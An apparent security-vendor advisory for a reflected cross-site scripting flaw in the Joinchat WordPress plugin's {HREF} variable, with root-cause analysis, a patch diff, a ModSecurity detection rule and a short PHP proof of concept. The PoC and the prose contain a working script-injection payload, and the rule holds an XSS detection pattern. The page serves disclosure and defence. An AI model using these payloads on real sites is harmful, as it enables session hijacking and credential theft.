Opens in a new tab
Published : November 15, 2026

CVE-2026-15785: Joinchat <= 6.3.1 Reflected Cross-Site Scripting via '{HREF}' Dynamic Variable PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 6.3.1
Patched Version 6.3.2
Disclosed November 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15785: A reflected cross-site scripting vulnerability exists in the Joinchat WordPress plugin versions up to and including 6.3.1. The flaw is located in the variable replacement system, specifically the handling of the {HREF} dynamic variable. Attackers can inject arbitrary scripts via a crafted query parameter when an administrator has configured a CTA message containing {HREF}. The CVSS score is 6.1 (Medium).

Atomic Edge research identifies the root cause in the `replace_variables()` method of `includes/class-joinchat-util.php`. Prior to version 6.3.2, this function simply replaced placeholders such as {HREF} with raw URL values without context-aware escaping. The {HREF} variable was generated using `home_url( add_query_arg( null, null ) )`, which reflects the current request URI, including unsanitized query parameters. The resulting string was then used in HTML output (e.g., inside `data-message` attributes) without adequate escaping. The lack of context differentiation meant that user-controlled input could break out of HTML attributes or inject script tags.

Atomic Edge analysis shows that exploitation requires two conditions: (1) an administrator must have configured a telephone number and included the {HREF} variable in the Call-to-Action (CTA) text, and (2) the attacker must trick a victim (preferably an administrator) into clicking a crafted link. The attacker crafts a URL with a malicious query parameter, such as `?xss=”>alert(1)`. When the victim visits the page, the plugin replaces {HREF} with the full URL including the payload, and the output is rendered in the page’s HTML (e.g., in the `data-message` attribute of the WhatsApp button). Because the value is not properly escaped, the script executes in the victim’s browser.

Atomic Edge analysis of the patch reveals a comprehensive fix. Version 6.3.2 introduces context-aware escaping in `replace_variables()` through a new `$context` parameter. The function now supports ‘raw’, ‘html’, and ‘attr’ contexts, applying appropriate sanitization (e.g., `esc_html` for HTML, `esc_attr` for attributes) and URL validation for {HREF}, {URL}, and {HOME}. Additionally, the output in `class-joinchat-gutenberg.php` and `class-joinchat-public.php` now explicitly passes the ‘attr’ or ‘raw’ context. The patch also refactors the formatter to reset the singleton and delegate formatting, but the core XSS fix is the escaping of dynamic variables.

Atomic Edge research assesses the impact as moderate: successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or actions performed on behalf of the victim. However, the requirement for prior administrator configuration (CTA with {HREF}) and user interaction (clicking a link) limits the attack surface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/creame-whatsapp-me/gutenberg/class-joinchat-gutenberg.php
+++ b/creame-whatsapp-me/gutenberg/class-joinchat-gutenberg.php
@@ -107,7 +107,7 @@

 		// Replace dynamic vars.
 		if ( ! empty( $attributes['message'] ) ) {
-			$data .= ' data-message="' . esc_attr( Joinchat_Util::replace_variables( $attributes['message'] ) ) . '"';
+			$data .= ' data-message="' . Joinchat_Util::replace_variables( $attributes['message'], 'attr' ) . '"';
 		}

 		// Links to '#whatsapp' with data attributes.
--- a/creame-whatsapp-me/includes/class-joinchat-formatter.php
+++ b/creame-whatsapp-me/includes/class-joinchat-formatter.php
@@ -20,40 +20,110 @@
 class Joinchat_Formatter {

 	/**
-	 * Singleton instance.
+	 * Whether the formatter hooks have already been initialized.
 	 *
-	 * @since    6.0.0
-	 * @var self|null
+	 * @since    6.3.2
+	 * @var bool
 	 */
-	private static $instance = null;
+	private static $initialized = false;

 	/**
-	 * Instantiates Manager.
+	 * Initialize the formatter hooks.
 	 *
-	 * @since    6.0.0
-	 * @return Joinchat_Formatter
+	 * @since    6.3.2
+	 * @return void
 	 */
-	public static function instance() {
+	public static function init() {

-		if ( is_null( self::$instance ) ) {
-			self::$instance = new self();
+		if ( self::$initialized ) {
+			return;
 		}

-		return self::$instance;
+		add_filter( 'joinchat_format_replacements', array( __CLASS__, 'formatter' ) );
+		add_filter( 'joinchat_format_replacements', array( __CLASS__, 'save_variables' ), 100 );

+		self::$initialized = true;
 	}

 	/**
-	 * Initialize the class.
+	 * Format CTA message text for HTML output.
 	 *
-	 * @since    6.0.0
+	 * Legacy wrapper remains in Joinchat_Util::formatted_message() for
+	 * backwards compatibility.
+	 *
+	 * @since 6.3.2
+	 * @param string $string   string to apply format replacements.
+	 * @param bool   $as_array return array of messages.
+	 * @return string|array
 	 */
-	private function __construct() {
+	public static function formatted_message( $string, $as_array = false ) {
+
+		self::init();
+
+		if ( empty( $string ) ) {
+			return $as_array ? array() : '';
+		}
+
+		// Format replacements.
+		$replacements = apply_filters( 'joinchat_format_replacements', array() );
+
+		// Split text into lines.
+		$lines = explode( "n", Joinchat_Util::clean_nl( $string ) );
+
+		// Apply replacements line by line.
+		if ( count( $replacements ) ) {
+			foreach ( $lines as $key => $line ) {
+				$escaped_line = esc_html( $line );
+
+				foreach ( $replacements as $pattern => $replacement ) {
+					if ( is_callable( $replacement ) ) {
+						$escaped_line = preg_replace_callback( $pattern, $replacement, $escaped_line );
+					} else {
+						$escaped_line = preg_replace( $pattern, $replacement, $escaped_line );
+					}
+				}
+
+				$lines[ $key ] = $escaped_line;
+			}
+		}
+
+		// Join lines and replace remaining text variables after formatter callbacks
+		// have already handled their own URL/attribute contexts.
+		$context   = $as_array ? 'raw' : 'html';
+		$formatted = Joinchat_Util::replace_variables( implode( '<br>', $lines ), $context );
+
+		// Out of bubble messages (notes).
+		$formatted = preg_replace( '/(^(?:>){3,}<br>)/u', '>>>', $formatted );
+		$formatted = preg_replace( '/(<br>(?:>){3,}<br>)/u', '<br>===<br>>>>', $formatted );
+		$formatted = preg_replace( '/(^(?:=){3,}<br>)/u', '', $formatted );
+
+		// Split message in bubbles.
+		$messages = preg_split( '/<br>={3,}<br>/u', $formatted );
+
+		// Return array of messages.
+		if ( $as_array ) {
+			return $messages;
+		}

-		add_filter( 'joinchat_format_replacements', array( $this, 'formatter' ) );
-		add_filter( 'joinchat_format_replacements', array( $this, 'save_variables' ), 100 );
+		// Wrap messages in divs & add classes.
+		foreach ( $messages as $key => $msg ) {
+			$class = '';
+
+			if ( substr( $msg, 0, 3 ) === '>>>' ) {
+				$class = ' joinchat__bubble--note';
+				$msg   = substr( $msg, 3 );
+			} elseif ( wp_strip_all_tags( $msg ) === '' ) {
+				$class = ' joinchat__bubble--media';
+			}
+
+			$messages[ $key ] = sprintf( '<div class="joinchat__bubble%s">%s</div>', $class, $msg );
+		}
+
+		$messages = join( "n", $messages );
+		$messages = str_replace( ' src="', ' data-src="', $messages ); // For delayed loading.
+
+		return $messages;

-		// add_action( 'joinchat_preview_header', $this, 'preview_styles' );
 	}

 	/**
@@ -63,7 +133,7 @@
 	 * @param    array $replacements       current replacements.
 	 * @return   array
 	 */
-	public function formatter( $replacements ) {
+	public static function formatter( $replacements ) {

 		// MarkDown bold to WhatsApp bold.
 		$before = array(
@@ -107,37 +177,49 @@
 		 * Markdown image
 		 * ![alt text](image.jpg width) => <img src="image.jpg" alt="alt text" width="width">
 		 */
-		$formats['/![(?<alt>.*?)]((?<src>[^) ]*)(?: (?<w>d+))?)/u'] = array( $this, 'image' );
+		$formats['/![(?<alt>.*?)]((?<src>[^) ]*)(?: (?<w>d+))?)/u'] = function( $groups ) {
+			return self::image( $groups );
+		};

 		/**
 		 * Markdown link
 		 * [title](https://www.example.com) => <a href="https://www.example.com">title</a>
 		 */
-		$formats['/[(?<text>[^[]]+)?]((?<href>[^)]+))/u'] = array( $this, 'link' );
+		$formats['/[(?<text>[^[]]+)?]((?<href>[^)]+))/u'] = function( $groups ) {
+			return self::link( $groups );
+		};

 		/**
 		 * Joinchat image
 		 * {IMG image.jpg width alt_text} => <img src="image.jpg" alt="alt_text" width="width">
 		 */
-		$formats['/{IMG (?<src>[^ }]+)(?: (?<w>d+))?(?: (?<alt>[^}]+))?}/u'] = array( $this, 'image' );
+		$formats['/{IMG (?<src>[^ }]+)(?: (?<w>d+))?(?: (?<alt>[^}]+))?}/u'] = function( $groups ) {
+			return self::image( $groups );
+		};

 		/**
 		 * Joinchat link
 		 * {LINK https://www.example.com title} => <a href="https://www.example.com">title</a>
 		 */
-		$formats['/{LINK (?<href>[^ }]+)(?: (?<text>[^}]+))?}/u'] = array( $this, 'link' );
+		$formats['/{LINK (?<href>[^ }]+)(?: (?<text>[^}]+))?}/u'] = function( $groups ) {
+			return self::link( $groups );
+		};

 		/**
 		 * Joinchat link button
 		 * {BTN https://www.example.com title} => <a class="joinchat__btn" href="https://www.example.com">title</a>
 		 */
-		$formats['/{BTN (?<href>[^ }]+)(?: (?<text>[^}]+))?}/u'] = array( $this, 'button' );
+		$formats['/{BTN (?<href>[^ }]+)(?: (?<text>[^}]+))?}/u'] = function( $groups ) {
+			return self::button( $groups );
+		};

 		/**
 		 * Joinchat random text
 		 * {RAND texto 1||texto 2||texto n} => "texto 1" or "texto 2" or "texto n"
 		 */
-		$formats['/{RAND (?<text>[^}]+)}/u'] = array( $this, 'random' );
+		$formats['/{RAND (?<text>[^}]+)}/u'] = function( $groups ) {
+			return self::random( $groups );
+		};

 		return array_merge( $before, $replacements, $formats );

@@ -150,7 +232,7 @@
 	 * @param    array $replacements       current replacements.
 	 * @return   array
 	 */
-	public function save_variables( $replacements ) {
+	public static function save_variables( $replacements ) {

 		$transform = array( '/{([A-Z]+)}/' => '&lcub;$1&rcub;' );
 		$restore   = array( '/&lcub;([A-Z]+)&rcub;/' => '{$1}' );
@@ -170,22 +252,21 @@
 	 * @param    array $groups      regex groups of link.
 	 * @return   string html <a>
 	 */
-	public function link( $groups ) {
+	private static function link( $groups ) {

-		$href  = $groups['href'];
-		$text  = ! empty( $groups['text'] ) ? $groups['text'] : preg_replace( '/^https?:///u', '', $href );
-		$class = ! empty( $groups['class'] ) ? 'class="' . esc_attr( $groups['class'] ) . '"' : '';
+		$href  = self::restore_and_replace( $groups['href'], 'raw' );
+		$text  = ! empty( $groups['text'] ) ? self::restore_and_replace( $groups['text'], 'html' ) : preg_replace( '/^https?:///u', '', $href );
+		$class = ! empty( $groups['class'] ) ? ' class="' . esc_attr( $groups['class'] ) . '"' : '';
 		$rel   = '';
 		$blank = '';

 		// Check if is an external link and add rel attribute for better SEO & Security.
 		if ( wp_parse_url( $href, PHP_URL_HOST ) !== wp_parse_url( get_home_url(), PHP_URL_HOST ) ) {
-			$rel   = 'rel="external nofollow noopener noreferrer"';
-			$blank = 'target="_blank"';
+			$rel   = ' rel="external nofollow noopener noreferrer"';
+			$blank = ' target="_blank"';
 		}

-		$output = sprintf( '<a href="%s" %s %s %s>%s</a>', esc_url_raw( $href ), $class, $rel, $blank, $text );
-		$output = preg_replace( '/s+/', ' ', $output );
+		$output = sprintf( '<a href="%s"%s%s%s>%s</a>', esc_url( $href ), $class, $rel, $blank, $text );

 		return $output;

@@ -201,11 +282,11 @@
 	 * @param    array $groups       regex groups of link.
 	 * @return   string html <a>
 	 */
-	public function button( $groups ) {
+	private static function button( $groups ) {

 		$groups['class'] = 'joinchat__btn';

-		return $this->link( $groups );
+		return self::link( $groups );

 	}

@@ -218,11 +299,11 @@
 	 * @param    array $groups       regex groups of random.
 	 * @return   string html <jc-rand><jc-opt>texto 1</jc-opt><jc-opt>texto 2</jc-opt></jc-rand>
 	 */
-	public function random( $groups ) {
+	private static function random( $groups ) {

-		$texts = explode( '||', $groups['text'] );
+		$texts = explode( '||', self::restore_variables( $groups['text'] ) );
 		foreach ( $texts as $key => $text ) {
-			$texts[ $key ] = '<jc-opt>' . trim( $text ) . '</jc-opt>';
+			$texts[ $key ] = '<jc-opt>' . Joinchat_Util::replace_variables( trim( $text ), 'html' ) . '</jc-opt>';
 		}

 		return '<jc-rand>' . join( '', $texts ) . '</jc-rand>';
@@ -246,17 +327,14 @@
 	 * @param    array $groups       regex groups of image.
 	 * @return   string html <img>
 	 */
-	public function image( $groups ) {
+	private static function image( $groups ) {

 		$chat_max = 340; // Chat window max width.

-		$src = $groups['src'];
+		$src = self::restore_and_replace( $groups['src'], 'raw' );
 		$w   = isset( $groups['w'] ) && is_numeric( $groups['w'] ) ? $groups['w'] : $chat_max;
-
-		if ( isset( $groups['alt'] ) && strpos( $groups['alt'], '&lcub;' ) !== false ) {
-			$groups['alt'] = Joinchat_Util::replace_variables( str_replace( array( '&lcub;', '&rcub;' ), array( '{', '}' ), $groups['alt'] ) );
-		}
-		$alt = 'alt="' . ( isset( $groups['alt'] ) ? esc_attr( $groups['alt'] ) : '' ) . '"';
+		$alt = isset( $groups['alt'] ) ? self::restore_and_replace( $groups['alt'], 'attr' ) : '';
+		$alt = 'alt="' . $alt . '"';

 		// If is post featured image.
 		if ( in_array( strtoupper( $src ), array( 'THUMB', 'FEATURED' ), true ) ) {
@@ -319,4 +397,27 @@
 		return $output;

 	}
+
+	/**
+	 * Restore placeholder braces after save_variables() temporary encoding.
+	 *
+	 * @since 6.3.2
+	 * @param string $string string to restore.
+	 * @return string
+	 */
+	private static function restore_variables( $string ) {
+		return str_replace( array( '&lcub;', '&rcub;' ), array( '{', '}' ), $string );
+	}
+
+	/**
+	 * Restore placeholder braces and apply variable replacements.
+	 *
+	 * @since 6.3.2
+	 * @param string $string  string to restore and replace.
+	 * @param string $context context for variable replacements.
+	 * @return string
+	 */
+	private static function restore_and_replace( $string, $context = 'html' ) {
+		return Joinchat_Util::replace_variables( self::restore_variables( $string ), $context );
+	}
 }
--- a/creame-whatsapp-me/includes/class-joinchat-integrations.php
+++ b/creame-whatsapp-me/includes/class-joinchat-integrations.php
@@ -93,7 +93,7 @@
 		 *
 		 * Don't load HivePress assets on Joinchat settings page (fix conflixt with intlTelInput).
 		 */
-		if ( defined( 'HP_FILE' ) && is_admin() && isset( $_GET['page'] ) && JOINCHAT_SLUG === $_GET['page'] ) {
+		if ( defined( 'HP_FILE' ) && is_admin() && isset( $_GET['page'] ) && JOINCHAT_SLUG === $_GET['page'] ) { // phpcs:ignore WordPress.Security.NonceVerification
 			add_filter( 'hivepress/v1/scripts', '__return_empty_array' );
 			add_filter( 'hivepress/v1/styles', '__return_empty_array' );
 		}
--- a/creame-whatsapp-me/includes/class-joinchat-util.php
+++ b/creame-whatsapp-me/includes/class-joinchat-util.php
@@ -235,74 +235,13 @@
 	 * Also apply styles transformations like WhatsApp app.
 	 *
 	 * @since    6.0.0
+	 * @since    6.3.2 Delegated to Joinchat_Formatter::formatted_message().
 	 * @param    string $string    string to apply format replacements.
 	 * @param    bool   $as_array  return array of messages.
 	 * @return   string|array     string formated
 	 */
 	public static function formatted_message( $string, $as_array = false ) {
-
-		if ( empty( $string ) ) {
-			return $as_array ? array() : '';
-		}
-
-		// Format replacements .
-		$replacements = apply_filters( 'joinchat_format_replacements', array() );
-
-		// Split text into lines.
-		$lines = explode( "n", self::clean_nl( $string ) );
-
-		// Apply replacements line by line.
-		if ( count( $replacements ) ) {
-			foreach ( $lines as $key => $line ) {
-				$escaped_line = esc_html( $line );
-
-				foreach ( $replacements as $pattern => $replacement ) {
-					if ( is_callable( $replacement ) ) {
-						$escaped_line = preg_replace_callback( $pattern, $replacement, $escaped_line );
-					} else {
-						$escaped_line = preg_replace( $pattern, $replacement, $escaped_line );
-					}
-				}
-
-				$lines[ $key ] = $escaped_line;
-			}
-		}
-
-		// Join lines and replace variables.
-		$formatted = self::replace_variables( implode( '<br>', $lines ) );
-
-		// Out of bubble messages (notes).
-		$formatted = preg_replace( '/(^(?:>){3,}<br>)/u', '>>>', $formatted );
-		$formatted = preg_replace( '/(<br>(?:>){3,}<br>)/u', '<br>===<br>>>>', $formatted );
-		$formatted = preg_replace( '/(^(?:=){3,}<br>)/u', '', $formatted );
-
-		// Split message in bubbles.
-		$messages = preg_split( '/<br>={3,}<br>/u', $formatted );
-
-		// Return array of messages.
-		if ( $as_array ) {
-			return $messages;
-		}
-
-		// Wrap messages in divs & add classes.
-		foreach ( $messages as $key => $msg ) {
-			$class = '';
-
-			if ( substr( $msg, 0, 3 ) === '>>>' ) {
-				$class = ' joinchat__bubble--note';
-				$msg   = substr( $msg, 3 );
-			} elseif ( wp_strip_all_tags( $msg ) === '' ) {
-				$class = ' joinchat__bubble--media';
-			}
-
-			$messages[ $key ] = sprintf( '<div class="joinchat__bubble%s">%s</div>', $class, $msg );
-		}
-
-		$messages = join( "n", $messages );
-		$messages = str_replace( ' src="', ' data-src="', $messages ); // For delayed loading.
-
-		return $messages;
-
+		return Joinchat_Formatter::formatted_message( $string, $as_array );
 	}

 	/**
@@ -316,52 +255,116 @@
 	 * @return   string     string formated
 	 */
 	public static function formated_message( $string ) {
-		return self::formatted_message( $string );
+		return Joinchat_Formatter::formatted_message( $string );
 	}

 	/**
 	 * Format message send, replace vars.
 	 *
 	 * @since    3.1.0
+	 * @since    6.3.2      Add $context param.
 	 * @param    string $string    string to apply variable replacements.
+	 * @param    string $context   output context: display (legacy), raw, html or attr.
 	 * @return   string     string with replaced variables
 	 */
-	public static function replace_variables( $string ) {
+	public static function replace_variables( $string, $context = 'display' ) {

 		// If empty or don't has vars return early.
 		if ( empty( $string ) || false === strpos( $string, '{' ) ) {
 			return $string;
 		}

+		$replacements = self::get_variable_replacements( $context );
+
+		// Patterns as regex {VAR}.
+		$patterns = array();
+		foreach ( $replacements as $var => $replacement ) {
+			$patterns[] = "/{$var}/u";
+		}
+
+		return preg_replace( $patterns, $replacements, $string );
+
+	}
+
+	/**
+	 * Build variable replacements for a given output context.
+	 *
+	 * @since 6.3.2
+	 * @param string $context output context.
+	 * @return array<string, string>
+	 */
+	private static function get_variable_replacements( $context ) {
+
 		global $wp;

 		$replacements = apply_filters(
 			'joinchat_variable_replacements',
 			array(
 				'SITE'  => get_bloginfo( 'name' ),
-				'HOME'  => home_url(),
-				'URL'   => user_trailingslashit( home_url( $wp->request ) ),
-				'HREF'  => home_url( add_query_arg( null, null ) ),
+				'HOME'  => esc_url_raw( home_url() ),
+				'URL'   => esc_url_raw( user_trailingslashit( home_url( $wp->request ) ) ),
+				'HREF'  => esc_url_raw( home_url( add_query_arg( null, null ) ) ),
 				'TITLE' => self::get_title(),
-			)
+			),
+			$context
 		);

-		// Patterns as regex {VAR}.
-		$patterns = array();
 		foreach ( $replacements as $var => $replacement ) {
-			$patterns[] = "/{$var}/u";
+			$replacements[ $var ] = self::escape_variable_replacement( $var, (string) $replacement, $context );
 		}

-		// Prevent malformed json.
-		foreach ( $replacements as $var => $replacement ) {
-			$replacements[ $var ] = str_replace( '"', '"', $replacement );
+		return $replacements;
+
+	}
+
+	/**
+	 * Escape a replacement according to the output context.
+	 *
+	 * @since 6.3.2
+	 * @param string $var         variable name.
+	 * @param string $replacement replacement value.
+	 * @param string $context     output context.
+	 * @return string
+	 */
+	private static function escape_variable_replacement( $var, $replacement, $context ) {
+
+		$replacement = str_replace( '"', '"', $replacement );
+
+		if ( 'raw' === $context ) {
+			return $replacement;
 		}

-		return preg_replace( $patterns, $replacements, $string );
+		if ( 'attr' === $context ) {
+			return esc_attr( wp_strip_all_tags( $replacement ) );
+		}
+
+		if ( 'html' === $context ) {
+			if ( false !== strpos( $replacement, '<' ) ) {
+				return wp_kses( $replacement, self::variable_allowed_html() );
+			}
+
+			return esc_html( $replacement );
+		}
+
+		if ( in_array( $var, array( 'HOME', 'URL', 'HREF' ), true ) ) {
+			return esc_url( $replacement );
+		}
+
+		return $replacement;

 	}

 	/**
+	 * Allowed HTML tags for variable replacements in formatted messages.
+	 *
+	 * @since 6.3.2
+	 * @return array<string, array<string, bool>>
+	 */
+	private static function variable_allowed_html() {
+		return (array) apply_filters( 'joinchat_variable_allowed_html', array() );
+	}
+
+	/**
 	 * Get current page title
 	 *
 	 * @since    3.1.0
@@ -558,12 +561,14 @@
 		$client_ip = '';

 		foreach ( $headers as $header ) {
-			if ( empty( $_SERVER[ $header ] ) ) {
+			$server_header = isset( $_SERVER[ $header ] ) ? sanitize_text_field( wp_unslash( (string) $_SERVER[ $header ] ) ) : '';
+
+			if ( '' === $server_header ) {
 				continue;
 			}

 			// Headers like X-Forwarded-For can contain multiple IPs (comma-separated).
-			$ips = array_map( 'trim', explode( ',', wp_unslash( (string) $_SERVER[ $header ] ) ) );
+			$ips = array_map( 'trim', explode( ',', $server_header ) );

 			foreach ( $ips as $ip ) {
 				if ( filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) !== false ) {
@@ -573,9 +578,10 @@
 			}
 		}

-		if ( empty( $client_ip ) && ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
-			$ip = trim( wp_unslash( (string) $_SERVER['REMOTE_ADDR'] ) );
-			if ( filter_var( $ip, FILTER_VALIDATE_IP ) !== false ) {
+		if ( empty( $client_ip ) ) {
+			$remote_addr = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( (string) $_SERVER['REMOTE_ADDR'] ) ) : '';
+			$ip          = trim( $remote_addr );
+			if ( '' !== $ip && filter_var( $ip, FILTER_VALIDATE_IP ) !== false ) {
 				$client_ip = $ip;
 			}
 		}
--- a/creame-whatsapp-me/includes/class-joinchat.php
+++ b/creame-whatsapp-me/includes/class-joinchat.php
@@ -253,7 +253,7 @@
 		}

 		require_once JOINCHAT_DIR . 'includes/class-joinchat-formatter.php';
-		Joinchat_Formatter::instance();
+		Joinchat_Formatter::init();

 		require_once JOINCHAT_DIR . 'public/class-joinchat-public.php';

@@ -373,6 +373,10 @@
 	 * @return   bool    True if is login page, false otherwise.
 	 */
 	private function is_login() {
-		return function_exists( 'is_login' ) ? is_login() : false !== stripos( wp_login_url(), $_SERVER['SCRIPT_NAME'] ?? '' );
+		if ( function_exists( 'is_login' ) ) {
+			return is_login();
+		}
+
+		return false !== stripos( wp_login_url(), sanitize_text_field( wp_unslash( $_SERVER['SCRIPT_NAME'] ?? '' ) ) );
 	}
 }
--- a/creame-whatsapp-me/joinchat.php
+++ b/creame-whatsapp-me/joinchat.php
@@ -7,10 +7,10 @@
  * @package           Joinchat
  *
  * @wordpress-plugin
- * Plugin Name:       Joinchat
+ * Plugin Name:       Joinchat - Enhanced "click to chat"
  * Plugin URI:        https://join.chat
  * Description:       Connects a WordPress chat with WhatsApp. The best solution for marketing and support. Stop losing customers and increase your sales.
- * Version:           6.3.1
+ * Version:           6.3.2
  * Author:            Creame
  * Author URI:        https://crea.me
  * License:           GPL-2.0+
@@ -27,7 +27,7 @@
 /**
  * Define constants.
  */
-define( 'JOINCHAT_VERSION', '6.3.1' );
+define( 'JOINCHAT_VERSION', '6.3.2' );
 define( 'JOINCHAT_SLUG', 'joinchat' );
 define( 'JOINCHAT_FILE', __FILE__ );
 define( 'JOINCHAT_DIR', plugin_dir_path( JOINCHAT_FILE ) );
@@ -49,7 +49,7 @@
  * @since    1.0.0
  * @since    3.0.0     Replaced direct run() to launch via 'init' hook
  */
-function run_joinchat() {
+function joinchat_run() {

 	$plugin = new Joinchat();

@@ -57,4 +57,4 @@

 }

-run_joinchat();
+joinchat_run();
--- a/creame-whatsapp-me/public/class-joinchat-public.php
+++ b/creame-whatsapp-me/public/class-joinchat-public.php
@@ -329,7 +329,7 @@

 			$data = array_intersect_key( jc_common()->settings, array_flip( apply_filters( 'joinchat_script_lite_fields', $fields ) ) );

-			$data['message_send'] = Joinchat_Util::replace_variables( $data['message_send'] );
+			$data['message_send'] = Joinchat_Util::replace_variables( $data['message_send'], 'raw' );

 			// Enqueue lite script.
 			wp_enqueue_script( 'joinchat-lite', plugins_url( "js/joinchat-lite{$min}.js", __FILE__ ), $deps, JOINCHAT_VERSION, $args );
@@ -444,7 +444,7 @@

 		$data = array_diff_key( $settings, array_flip( $excluded_fields ) );

-		$data['message_send'] = Joinchat_Util::replace_variables( $data['message_send'] );
+		$data['message_send'] = Joinchat_Util::replace_variables( $data['message_send'], 'raw' );

 		if ( $settings['show_brand'] || $is_preview ) {
 			$powered_args = array(
--- a/creame-whatsapp-me/public/class-joinchat-woo-public.php
+++ b/creame-whatsapp-me/public/class-joinchat-woo-public.php
@@ -43,6 +43,7 @@
 		$loader->add_filter( 'joinchat_get_settings', $this, 'product_settings' );
 		$loader->add_filter( 'joinchat_visibility', $this, 'visibility', 10, 2 );
 		$loader->add_filter( 'joinchat_variable_replacements', $this, 'replacements' );
+		$loader->add_filter( 'joinchat_variable_allowed_html', $this, 'allowed_html' );
 		$loader->add_filter( 'joinchat_excluded_fields', $this, 'excluded_fields' );
 		$loader->add_filter( 'joinchat_script_lite_fields', $this, 'lite_fields' );

@@ -236,6 +237,21 @@
 	}

 	/**
+	 * Add allowed HTML for variable replacements
+	 *
+	 * @since    6.3.2
+	 * @param    array $allowed       current allowed HTML.
+	 * @return   array
+	 */
+	public function allowed_html( $allowed ) {
+
+		$allowed['jc-sku'] = array();
+
+		return $allowed;
+
+	}
+
+	/**
 	 * Exclude unnecessary Woocommerce settings in front
 	 *
 	 * @since    3.0.0
--- a/creame-whatsapp-me/uninstall.php
+++ b/creame-whatsapp-me/uninstall.php
@@ -12,12 +12,12 @@
 	exit;
 }

-$option = get_option( 'joinchat' );
+$joinchat_option = get_option( 'joinchat' );

 /**
  * Delete all plugin data if 'clear' is true.
  */
-if ( isset( $option['clear'] ) && 'yes' === $option['clear'] ) {
+if ( isset( $joinchat_option['clear'] ) && 'yes' === $joinchat_option['clear'] ) {

 	global $wpdb;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15785
SecRule REQUEST_URI "@rx ^/" 
  "id:202615785,phase:2,deny,status:403,chain,msg:'CVE-2026-15785 - Joinchat {HREF} XSS',severity:'CRITICAL',tag:'CVE-2026-15785'"
  SecRule QUERY_STRING "@rx (?:%3C|x3C|%22|x22)(?:script|img|svg|on[a-z0-9]+)" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain"
    SecRule ARGS "@rx (?:%3C|x3C|%22|x22)(?:script|img|svg|on[a-z0-9]+)" 
      "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15785 - Joinchat <= 6.3.1 - Reflected XSS via {HREF} Dynamic Variable

$target_url = 'http://example.com'; // Configure your target WordPress site

// Step 1: Craft the malicious payload
$payload = '"><script>alert("XSS")</script>';

// Step 2: Construct the URL with the payload in a query parameter
// The plugin uses {HREF} which reflects the current URL including query string
$exploit_url = $target_url . '/?xss=' . urlencode($payload);

// Step 3: Use cURL to simulate a victim visiting the page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

// Step 4: Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check if the payload is reflected unescaped
// Look for the data-message attribute containing the payload
if (strpos($response, $payload) !== false) {
    echo "[+] Potential XSS: Payload reflected in response. The site may be vulnerable.n";
    echo "    Exploit URL: $exploit_urln";
} else {
    echo "[-] Payload not found in response. The site may be patched or the CTA not configured.n";
}

// Note: This PoC assumes the administrator has configured a CTA with {HREF}.
// Actual execution requires a browser to run the JavaScript.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.